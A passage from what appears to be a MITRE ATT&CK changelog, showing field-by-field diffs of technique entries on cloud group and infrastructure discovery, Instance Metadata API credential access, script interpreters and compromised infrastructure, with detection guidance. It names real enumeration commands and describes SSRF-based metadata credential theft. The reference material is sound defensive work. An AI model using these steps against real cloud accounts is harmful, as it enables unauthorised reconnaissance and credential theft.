| > | ACL). Using this information an adversary can target accoun | ||||
| > | ts with permissions to a given object or leverage accounts t | ||||
| > | hey have already compromised to access the object. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_contributors | ['Regina Elwell', 'Isif Ibrahima, Mandiant'] | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['User'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-08 17:34:39.077000+00:00 | 2022-04-19 02:44:58.838000+00:00 |
| description | Adversaries may attempt to find cloud groups and permission settings. The knowledge of cloud permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group.
With authenticated access there are several tools that can be used to find permissions groups. The Get-MsolRole PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts.(Citation: Microsoft Msolrole)(Citation: GitHub Raindance)
Azure CLI (AZ CLI) also provides an interface to obtain permissions groups with authenticated access to a domain. The command az ad user get-member-groups will list groups associated to a user account.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018) | Adversaries may attempt to find cloud groups and permission settings. The knowledge of cloud permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group.
With authenticated access there are several tools that can be used to find permissions groups. The Get-MsolRole PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts (Citation: Microsoft Msolrole)(Citation: GitHub Raindance).
Azure CLI (AZ CLI) and the Google Cloud Identity Provider API also provide interfaces to obtain permissions groups. The command az ad user get-member-groups will list groups associated to a user account for Azure while the API endpoint GET https://cloudidentity.googleapis.com/v1/groups lists group resources available to a user for Google.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)(Citation: Google Cloud Identity API Documentation)
Adversaries may attempt to list ACLs for objects to determine the owner and other accounts with access to the object, for example, via the AWS GetBucketAcl API (Citation: AWS Get Bucket ACL). Using this information an adversary can target accounts with permissions to a given object or leverage accounts they have already compromised to access the object. |
| external_references[1]['source_name'] | Microsoft Msolrole | AWS Get Bucket ACL |
| external_references[1]['description'] | Microsoft. (n.d.). Get-MsolRole. Retrieved October 6, 2019. | Amazon Web Services. (n.d.). Retrieved May 28, 2021. |
| external_references[1]['url'] | https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrole?view=azureadps-1.0 | https://docs.aws.amazon.com/AmazonS3/latest/API/API_GetBucketAcl.html |
| external_references[2]['source_name'] | GitHub Raindance | Black Hills Red Teaming MS AD Azure, 2018 |
| external_references[2]['description'] | Stringer, M.. (2018, November 21). RainDance. Retrieved October 6, 2019. | Felch, M.. (2018, August 31). Red Teaming Microsoft Part 1 Active Directory Leaks via Azure. Retrieved October 6, 2019. |
| external_references[2]['url'] | https://github.com/True-Demon/raindance | https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/ |
| external_references[3]['source_name'] | Microsoft AZ CLI | Google Cloud Identity API Documentation |
| external_references[3]['description'] | Microsoft. (n.d.). az ad user. Retrieved October 6, 2019. | Google. (n.d.). Retrieved March 16, 2021. |
| external_references[3]['url'] | https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest | https://cloud.google.com/identity/docs/reference/rest |
| external_references[4]['source_name'] | Black Hills Red Teaming MS AD Azure, 2018 | Microsoft AZ CLI |
| external_references[4]['description'] | Felch, M.. (2018, August 31). Red Teaming Microsoft Part 1 Active Directory Leaks via Azure. Retrieved October 6, 2019. | Microsoft. (n.d.). az ad user. Retrieved October 6, 2019. |
| external_references[4]['url'] | https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/ | https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest |
| x_mitre_data_sources[0] | GCP audit logs | Process: Process Creation |
| x_mitre_data_sources[1] | Stackdriver logs | Application Log: Application Log Content |
| x_mitre_data_sources[2] | AWS CloudTrail logs | Group: Group Metadata |
| x_mitre_data_sources[3] | Azure activity logs | Command: Command Execution |
| x_mitre_data_sources[4] | Office 365 account logs | Group: Group Enumeration |
| x_mitre_platforms[3] | Azure | IaaS |
| x_mitre_platforms[4] | AWS | Google Workspace |
| x_mitre_version | 1.1 | 1.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Microsoft Msolrole', 'description': 'Microsoft. (n.d.). Get-MsolRole. Retrieved October 6, 2019.', 'url': 'https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrole?view=azureadps-1.0'} | |
| external_references | {'source_name': 'GitHub Raindance', 'description': 'Stringer, M.. (2018, November 21). RainDance. Retrieved October 6, 2019.', 'url': 'https://github.com/True-Demon/raindance'} | |
| x_mitre_platforms | Azure AD |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | API monitoring | |
| x_mitre_data_sources | Process monitoring | |
| x_mitre_data_sources | Process command-line parameters | |
| x_mitre_platforms | Azure AD | |
| x_mitre_platforms | GCP |
Current version: 1.3
Version changed from: 1.0 → 1.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | An adversary may attempt to discover resources that are avai | t | 1 | An adversary may attempt to discover infrastructure and reso |
| > | lable within an infrastructure-as-a-service (IaaS) environme | > | urces that are available within an infrastructure-as-a-servi | ||
| > | nt. This includes compute service resources such as instance | > | ce (IaaS) environment. This includes compute service resourc | ||
| > | s, virtual machines, and snapshots as well as resources of o | > | es such as instances, virtual machines, and snapshots as wel | ||
| > | ther services including the storage and database services. | > | l as resources of other services including the storage and d | ||
| > | Cloud providers offer methods such as APIs and commands issu | > | atabase services. Cloud providers offer methods such as API | ||
| > | ed through CLIs to serve information about infrastructure. F | > | s and commands issued through CLIs to serve information abou | ||
| > | or example, AWS provides a <code>DescribeInstances</code> AP | > | t infrastructure. For example, AWS provides a <code>Describe | ||
| > | I within the Amazon EC2 API that can return information abou | > | Instances</code> API within the Amazon EC2 API that can retu | ||
| > | t one or more instances within an account, as well as the <c | > | rn information about one or more instances within an account | ||
| > | ode>ListBuckets</code> API that returns a list of all bucket | > | , the <code>ListBuckets</code> API that returns a list of al | ||
| > | s owned by the authenticated sender of the request.(Citation | > | l buckets owned by the authenticated sender of the request, | ||
| > | : Amazon Describe Instance)(Citation: Amazon Describe Instan | > | the <code>HeadBucket</code> API to determine a bucket’s exis | ||
| > | ces API) Similarly, GCP's Cloud SDK CLI provides the <code>g | > | tence along with access permissions of the request sender, o | ||
| > | cloud compute instances list</code> command to list all Goog | > | r the <code>GetPublicAccessBlock</code> API to retrieve acce | ||
| > | le Compute Engine instances in a project(Citation: Google Co | > | ss block configuration for a bucket.(Citation: Amazon Descri | ||
| > | mpute Instances), and Azure's CLI command <code>az vm list</ | > | be Instance)(Citation: Amazon Describe Instances API)(Citati | ||
| > | code> lists details of virtual machines.(Citation: Microsoft | > | on: AWS Get Public Access Block)(Citation: AWS Head Bucket) | ||
| > | AZ CLI) An adversary may enumerate resources using a compr | > | Similarly, GCP's Cloud SDK CLI provides the <code>gcloud com | ||
| > | omised user's access keys to determine which are available t | > | pute instances list</code> command to list all Google Comput | ||
| > | o that user.(Citation: Expel IO Evil in AWS) The discovery o | > | e Engine instances in a project (Citation: Google Compute In | ||
| > | f these available resources may help adversaries determine t | > | stances), and Azure's CLI command <code>az vm list</code> li | ||
| > | heir next steps in the Cloud environment, such as establishi | > | sts details of virtual machines.(Citation: Microsoft AZ CLI) | ||
| > | ng Persistence.(Citation: Mandiant M-Trends 2020) Unlike in | > | In addition to API commands, adversaries can utilize open s | ||
| > | [Cloud Service Discovery](https://attack.mitre.org/technique | > | ource tools to discover cloud storage infrastructure through | ||
| > | s/T1526), this technique focuses on the discovery of compone | > | [Wordlist Scanning](https://attack.mitre.org/techniques/T15 | ||
| > | nts of the provided services rather than the services themse | > | 95/003).(Citation: Malwarebytes OSINT Leaky Buckets - Hioure | ||
| > | lves. | > | as) An adversary may enumerate resources using a compromise | ||
| > | d user's access keys to determine which are available to tha | ||||
| > | t user.(Citation: Expel IO Evil in AWS) The discovery of the | ||||
| > | se available resources may help adversaries determine their | ||||
| > | next steps in the Cloud environment, such as establishing Pe | ||||
| > | rsistence.(Citation: Mandiant M-Trends 2020)An adversary may | ||||
| > | also use this information to change the configuration to ma | ||||
| > | ke the bucket publicly accessible, allowing data to be acces | ||||
| > | sed without authentication. Adversaries have also may use in | ||||
| > | frastructure discovery APIs such as <code>DescribeDBInstance | ||||
| > | s</code> to determine size, owner, permissions, and network | ||||
| > | ACLs of database resources. (Citation: AWS Describe DB Insta | ||||
| > | nces) Adversaries can use this information to determine the | ||||
| > | potential value of databases and discover the requirements t | ||||
| > | o access them. Unlike in [Cloud Service Discovery](https://a | ||||
| > | ttack.mitre.org/techniques/T1526), this technique focuses on | ||||
| > | the discovery of components of the provided services rather | ||||
| > | than the services themselves. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['User'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-17 16:41:23.267000+00:00 | 2022-04-20 19:03:12.977000+00:00 |
| description | An adversary may attempt to discover resources that are available within an infrastructure-as-a-service (IaaS) environment. This includes compute service resources such as instances, virtual machines, and snapshots as well as resources of other services including the storage and database services.
Cloud providers offer methods such as APIs and commands issued through CLIs to serve information about infrastructure. For example, AWS provides a DescribeInstances API within the Amazon EC2 API that can return information about one or more instances within an account, as well as the ListBuckets API that returns a list of all buckets owned by the authenticated sender of the request.(Citation: Amazon Describe Instance)(Citation: Amazon Describe Instances API) Similarly, GCP's Cloud SDK CLI provides the gcloud compute instances list command to list all Google Compute Engine instances in a project(Citation: Google Compute Instances), and Azure's CLI command az vm list lists details of virtual machines.(Citation: Microsoft AZ CLI)
An adversary may enumerate resources using a compromised user's access keys to determine which are available to that user.(Citation: Expel IO Evil in AWS) The discovery of these available resources may help adversaries determine their next steps in the Cloud environment, such as establishing Persistence.(Citation: Mandiant M-Trends 2020) Unlike in [Cloud Service Discovery](https://attack.mitre.org/techniques/T1526), this technique focuses on the discovery of components of the provided services rather than the services themselves. | An adversary may attempt to discover infrastructure and resources that are available within an infrastructure-as-a-service (IaaS) environment. This includes compute service resources such as instances, virtual machines, and snapshots as well as resources of other services including the storage and database services.
Cloud providers offer methods such as APIs and commands issued through CLIs to serve information about infrastructure. For example, AWS provides a DescribeInstances API within the Amazon EC2 API that can return information about one or more instances within an account, the ListBuckets API that returns a list of all buckets owned by the authenticated sender of the request, the HeadBucket API to determine a bucket’s existence along with access permissions of the request sender, or the GetPublicAccessBlock API to retrieve access block configuration for a bucket.(Citation: Amazon Describe Instance)(Citation: Amazon Describe Instances API)(Citation: AWS Get Public Access Block)(Citation: AWS Head Bucket) Similarly, GCP's Cloud SDK CLI provides the gcloud compute instances list command to list all Google Compute Engine instances in a project (Citation: Google Compute Instances), and Azure's CLI command az vm list lists details of virtual machines.(Citation: Microsoft AZ CLI) In addition to API commands, adversaries can utilize open source tools to discover cloud storage infrastructure through [Wordlist Scanning](https://attack.mitre.org/techniques/T1595/003).(Citation: Malwarebytes OSINT Leaky Buckets - Hioureas)
An adversary may enumerate resources using a compromised user's access keys to determine which are available to that user.(Citation: Expel IO Evil in AWS) The discovery of these available resources may help adversaries determine their next steps in the Cloud environment, such as establishing Persistence.(Citation: Mandiant M-Trends 2020)An adversary may also use this information to change the configuration to make the bucket publicly accessible, allowing data to be accessed without authentication. Adversaries have also may use infrastructure discovery APIs such as DescribeDBInstances to determine size, owner, permissions, and network ACLs of database resources. (Citation: AWS Describe DB Instances) Adversaries can use this information to determine the potential value of databases and discover the requirements to access them. Unlike in [Cloud Service Discovery](https://attack.mitre.org/techniques/T1526), this technique focuses on the discovery of components of the provided services rather than the services themselves. |
| external_references[1]['source_name'] | Amazon Describe Instance | Expel IO Evil in AWS |
| external_references[1]['description'] | Amazon. (n.d.). describe-instance-information. Retrieved March 3, 2020. | A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020. |
| external_references[1]['url'] | https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html | https://expel.io/blog/finding-evil-in-aws/ |
| external_references[2]['source_name'] | Amazon Describe Instances API | AWS Head Bucket |
| external_references[2]['description'] | Amazon. (n.d.). DescribeInstances. Retrieved May 26, 2020. | Amazon Web Services. (n.d.). AWS HeadBucket. Retrieved February 14, 2022. |
| external_references[2]['url'] | https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeInstances.html | https://docs.aws.amazon.com/AmazonS3/latest/API/API_HeadBucket.html |
| external_references[3]['source_name'] | Google Compute Instances | AWS Get Public Access Block |
| external_references[3]['description'] | Google. (n.d.). gcloud compute instances list. Retrieved May 26, 2020. | Amazon Web Services. (n.d.). Retrieved May 28, 2021. |
| external_references[3]['url'] | https://cloud.google.com/sdk/gcloud/reference/compute/instances/list | https://docs.aws.amazon.com/AmazonS3/latest/API/API_GetPublicAccessBlock.html |
| external_references[4]['source_name'] | Microsoft AZ CLI | AWS Describe DB Instances |
| external_references[4]['description'] | Microsoft. (n.d.). az ad user. Retrieved October 6, 2019. | Amazon Web Services. (n.d.). Retrieved May 28, 2021. |
| external_references[4]['url'] | https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest | https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_DescribeDBInstances.html |
| external_references[5]['source_name'] | Expel IO Evil in AWS | Amazon Describe Instance |
| external_references[5]['description'] | A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020. | Amazon. (n.d.). describe-instance-information. Retrieved March 3, 2020. |
| external_references[5]['url'] | https://expel.io/blog/finding-evil-in-aws/ | https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html |
| external_references[6]['source_name'] | Mandiant M-Trends 2020 | Amazon Describe Instances API |
| external_references[6]['description'] | Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020. | Amazon. (n.d.). DescribeInstances. Retrieved May 26, 2020. |
| external_references[6]['url'] | https://content.fireeye.com/m-trends/rpt-m-trends-2020 | https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeInstances.html |
| x_mitre_data_sources[0] | GCP audit logs | Snapshot: Snapshot Enumeration |
| x_mitre_data_sources[1] | Stackdriver logs | Cloud Storage: Cloud Storage Enumeration |
| x_mitre_data_sources[2] | AWS CloudTrail logs | Volume: Volume Metadata |
| x_mitre_data_sources[3] | Azure activity logs | Instance: Instance Enumeration |
| x_mitre_detection | Establish centralized logging for the activity of cloud infrastructure components. Monitor logs for actions that could be taken to gather information about cloud infrastructure, including the use of discovery API calls by new or unexpected users. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones. | Establish centralized logging for the activity of cloud infrastructure components. Monitor logs for actions that could be taken to gather information about cloud infrastructure, including the use of discovery API calls by new or unexpected users and enumerations from unknown or malicious IP addresses. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones. |
| x_mitre_platforms[0] | AWS | IaaS |
| x_mitre_version | 1.0 | 1.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Google Compute Instances', 'description': 'Google. (n.d.). gcloud compute instances list. Retrieved May 26, 2020.', 'url': 'https://cloud.google.com/sdk/gcloud/reference/compute/instances/list'} | |
| external_references | {'source_name': 'Mandiant M-Trends 2020', 'description': 'Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020.', 'url': 'https://content.fireeye.com/m-trends/rpt-m-trends-2020'} | |
| external_references | {'source_name': 'Microsoft AZ CLI', 'description': 'Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.', 'url': 'https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest'} | |
| external_references | {'source_name': 'Malwarebytes OSINT Leaky Buckets - Hioureas', 'description': 'Vasilios Hioureas. (2019, September 13). Hacking with AWS: incorporating leaky buckets into your OSINT workflow. Retrieved February 14, 2022.', 'url': 'https://blog.malwarebytes.com/researchers-corner/2019/09/hacking-with-aws-incorporating-leaky-buckets-osint-workflow/'} | |
| x_mitre_contributors | Regina Elwell | |
| x_mitre_contributors | Isif Ibrahima, Mandiant | |
| x_mitre_data_sources | Snapshot: Snapshot Metadata | |
| x_mitre_data_sources | Instance: Instance Metadata | |
| x_mitre_data_sources | Volume: Volume Enumeration | |
| x_mitre_data_sources | Cloud Storage: Cloud Storage Metadata |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Azure | |
| x_mitre_platforms | GCP |
Current version: 1.3
Version changed from: 1.1 → 1.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to access the Cloud Instance Metadat | t | 1 | Adversaries may attempt to access the Cloud Instance Metadat |
| > | a API to collect credentials and other sensitive data. Most | > | a API to collect credentials and other sensitive data. Most | ||
| > | cloud service providers support a Cloud Instance Metadata A | > | cloud service providers support a Cloud Instance Metadata A | ||
| > | PI which is a service provided to running virtual instances | > | PI which is a service provided to running virtual instances | ||
| > | that allows applications to access information about the run | > | that allows applications to access information about the run | ||
| > | ning virtual instance. Available information generally inclu | > | ning virtual instance. Available information generally inclu | ||
| > | des name, security group, and additional metadata including | > | des name, security group, and additional metadata including | ||
| > | sensitive data such as credentials and UserData scripts that | > | sensitive data such as credentials and UserData scripts that | ||
| > | may contain additional secrets. The Instance Metadata API i | > | may contain additional secrets. The Instance Metadata API i | ||
| > | s provided as a convenience to assist in managing applicatio | > | s provided as a convenience to assist in managing applicatio | ||
| > | ns and is accessible by anyone who can access the instance.( | > | ns and is accessible by anyone who can access the instance.( | ||
| > | Citation: AWS Instance Metadata API) A cloud metadata API ha | > | Citation: AWS Instance Metadata API) A cloud metadata API ha | ||
| > | s been used in at least one high profile compromise.(Citatio | > | s been used in at least one high profile compromise.(Citatio | ||
| > | n: Krebs Capital One August 2019) If adversaries have a pre | > | n: Krebs Capital One August 2019) If adversaries have a pre | ||
| > | sence on the running virtual instance, they may query the In | > | sence on the running virtual instance, they may query the In | ||
| > | stance Metadata API directly to identify credentials that gr | > | stance Metadata API directly to identify credentials that gr | ||
| > | ant access to additional resources. Additionally, attackers | > | ant access to additional resources. Additionally, adversarie | ||
| > | may exploit a Server-Side Request Forgery (SSRF) vulnerabili | > | s may exploit a Server-Side Request Forgery (SSRF) vulnerabi | ||
| > | ty in a public facing web proxy that allows the attacker to | > | lity in a public facing web proxy that allows them to gain a | ||
| > | gain access to the sensitive information via a request to th | > | ccess to the sensitive information via a request to the Inst | ||
| > | e Instance Metadata API.(Citation: RedLock Instance Metadata | > | ance Metadata API.(Citation: RedLock Instance Metadata API 2 | ||
| > | API 2018) The de facto standard across cloud service provi | > | 018) The de facto standard across cloud service providers i | ||
| > | ders is to host the Instance Metadata API at <code>http[:]// | > | s to host the Instance Metadata API at <code>http[:]//169.25 | ||
| > | 169.254.169.254</code>. | > | 4.169.254</code>. | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-15 19:39:34.817000+00:00 | 2022-03-08 21:37:23.589000+00:00 |
| description | Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data.
Most cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance. Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets. The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance.(Citation: AWS Instance Metadata API) A cloud metadata API has been used in at least one high profile compromise.(Citation: Krebs Capital One August 2019)
If adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources. Additionally, attackers may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows the attacker to gain access to the sensitive information via a request to the Instance Metadata API.(Citation: RedLock Instance Metadata API 2018)
The de facto standard across cloud service providers is to host the Instance Metadata API at http[:]//169.254.169.254.
| Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data.
Most cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance. Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets. The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance.(Citation: AWS Instance Metadata API) A cloud metadata API has been used in at least one high profile compromise.(Citation: Krebs Capital One August 2019)
If adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources. Additionally, adversaries may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows them to gain access to the sensitive information via a request to the Instance Metadata API.(Citation: RedLock Instance Metadata API 2018)
The de facto standard across cloud service providers is to host the Instance Metadata API at http[:]//169.254.169.254.
|
| x_mitre_data_sources[0] | Authentication logs | User Account: User Account Authentication |
| x_mitre_detection | Monitor access to the Instance Metadata API and look for anomalous queries. It may be possible to detect adversary use of credentials they have obtained. See [Valid Accounts](https://attack.mitre.org/techniques/T1078) for more information. | Monitor access to the Instance Metadata API and look for anomalous queries. It may be possible to detect adversary use of credentials they have obtained such as in [Valid Accounts](https://attack.mitre.org/techniques/T1078). |
| x_mitre_platforms[0] | AWS | IaaS |
| x_mitre_version | 1.1 | 1.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | AWS CloudTrail logs | |
| x_mitre_data_sources | Azure activity logs | |
| x_mitre_platforms | GCP | |
| x_mitre_platforms | Azure |
Current version: 2.3
Version changed from: 2.1 → 2.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse command and script interpreters to exe | t | 1 | Adversaries may abuse command and script interpreters to exe |
| > | cute commands, scripts, or binaries. These interfaces and la | > | cute commands, scripts, or binaries. These interfaces and la | ||
| > | nguages provide ways of interacting with computer systems an | > | nguages provide ways of interacting with computer systems an | ||
| > | d are a common feature across many different platforms. Most | > | d are a common feature across many different platforms. Most | ||
| > | systems come with some built-in command-line interface and | > | systems come with some built-in command-line interface and | ||
| > | scripting capabilities, for example, macOS and Linux distrib | > | scripting capabilities, for example, macOS and Linux distrib | ||
| > | utions include some flavor of [Unix Shell](https://attack.mi | > | utions include some flavor of [Unix Shell](https://attack.mi | ||
| > | tre.org/techniques/T1059/004) while Windows installations in | > | tre.org/techniques/T1059/004) while Windows installations in | ||
| > | clude the [Windows Command Shell](https://attack.mitre.org/t | > | clude the [Windows Command Shell](https://attack.mitre.org/t | ||
| > | echniques/T1059/003) and [PowerShell](https://attack.mitre.o | > | echniques/T1059/003) and [PowerShell](https://attack.mitre.o | ||
| > | rg/techniques/T1059/001). There are also cross-platform int | > | rg/techniques/T1059/001). There are also cross-platform int | ||
| > | erpreters such as [Python](https://attack.mitre.org/techniqu | > | erpreters such as [Python](https://attack.mitre.org/techniqu | ||
| > | es/T1059/006), as well as those commonly associated with cli | > | es/T1059/006), as well as those commonly associated with cli | ||
| > | ent applications such as [JavaScript/JScript](https://attack | > | ent applications such as [JavaScript](https://attack.mitre.o | ||
| > | .mitre.org/techniques/T1059/007) and [Visual Basic](https:// | > | rg/techniques/T1059/007) and [Visual Basic](https://attack.m | ||
| > | attack.mitre.org/techniques/T1059/005). Adversaries may abu | > | itre.org/techniques/T1059/005). Adversaries may abuse these | ||
| > | se these technologies in various ways as a means of executin | > | technologies in various ways as a means of executing arbitr | ||
| > | g arbitrary commands. Commands and scripts can be embedded i | > | ary commands. Commands and scripts can be embedded in [Initi | ||
| > | n [Initial Access](https://attack.mitre.org/tactics/TA0001) | > | al Access](https://attack.mitre.org/tactics/TA0001) payloads | ||
| > | payloads delivered to victims as lure documents or as second | > | delivered to victims as lure documents or as secondary payl | ||
| > | ary payloads downloaded from an existing C2. Adversaries may | > | oads downloaded from an existing C2. Adversaries may also ex | ||
| > | also execute commands through interactive terminals/shells. | > | ecute commands through interactive terminals/shells, as well | ||
| > | as utilize various [Remote Services](https://attack.mitre.o | ||||
| > | rg/techniques/T1021) in order to achieve remote Execution.(C | ||||
| > | itation: Powershell Remote Commands)(Citation: Cisco IOS Sof | ||||
| > | tware Integrity Assurance - Command History)(Citation: Remot | ||||
| > | e Shell Execution in Python) | ||||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['User'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 16:43:39.362000+00:00 | 2022-04-19 18:31:48.827000+00:00 |
| description | Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of [Unix Shell](https://attack.mitre.org/techniques/T1059/004) while Windows installations include the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). There are also cross-platform interpreters such as [Python](https://attack.mitre.org/techniques/T1059/006), as well as those commonly associated with client applications such as [JavaScript/JScript](https://attack.mitre.org/techniques/T1059/007) and [Visual Basic](https://attack.mitre.org/techniques/T1059/005). Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0001) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells. | Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of [Unix Shell](https://attack.mitre.org/techniques/T1059/004) while Windows installations include the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). There are also cross-platform interpreters such as [Python](https://attack.mitre.org/techniques/T1059/006), as well as those commonly associated with client applications such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) and [Visual Basic](https://attack.mitre.org/techniques/T1059/005). Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0001) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various [Remote Services](https://attack.mitre.org/techniques/T1021) in order to achieve remote Execution.(Citation: Powershell Remote Commands)(Citation: Cisco IOS Software Integrity Assurance - Command History)(Citation: Remote Shell Execution in Python) |
| x_mitre_data_sources[0] | Windows event logs | Process: Process Creation |
| x_mitre_data_sources[1] | PowerShell logs | Command: Command Execution |
| x_mitre_data_sources[2] | Process monitoring | Script: Script Execution |
| x_mitre_data_sources[3] | Process command-line parameters | Process: Process Metadata |
| x_mitre_remote_support | False | True |
| x_mitre_version | 2.1 | 2.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Remote Shell Execution in Python', 'description': 'Abdou Rockikz. (2020, July). How to Execute Shell Commands in a Remote Machine in Python. Retrieved July 26, 2021.', 'url': 'https://www.thepythoncode.com/article/executing-bash-commands-remotely-in-python'} | |
| external_references | {'source_name': 'Cisco IOS Software Integrity Assurance - Command History', 'description': 'Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command History. Retrieved October 21, 2020.', 'url': 'https://tools.cisco.com/security/center/resources/integrity_assurance.html#23'} | |
| external_references | {'source_name': 'Powershell Remote Commands', 'description': 'Microsoft. (2020, August 21). Running Remote Commands. Retrieved July 26, 2021.', 'url': 'https://docs.microsoft.com/en-us/powershell/scripting/learn/remoting/running-remote-commands?view=powershell-7.1'} | |
| x_mitre_data_sources | Module: Module Load |
Current version: 1.2
Version changed from: 1.0 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may compromise thi | t | 1 | Adversaries may compromise third-party infrastructure that c |
| > | rd-party infrastructure that can be used during targeting. I | > | an be used during targeting. Infrastructure solutions includ | ||
| > | nfrastructure solutions include physical or cloud servers, d | > | e physical or cloud servers, domains, and third-party web an | ||
| > | omains, and third-party web services. Instead of buying, lea | > | d DNS services. Instead of buying, leasing, or renting infra | ||
| > | sing, or renting infrastructure an adversary may compromise | > | structure an adversary may compromise infrastructure and use | ||
| > | infrastructure and use it during other phases of the adversa | > | it during other phases of the adversary lifecycle.(Citation | ||
| > | ry lifecycle.(Citation: Mandiant APT1)(Citation: ICANNDomain | > | : Mandiant APT1)(Citation: ICANNDomainNameHijacking)(Citatio | ||
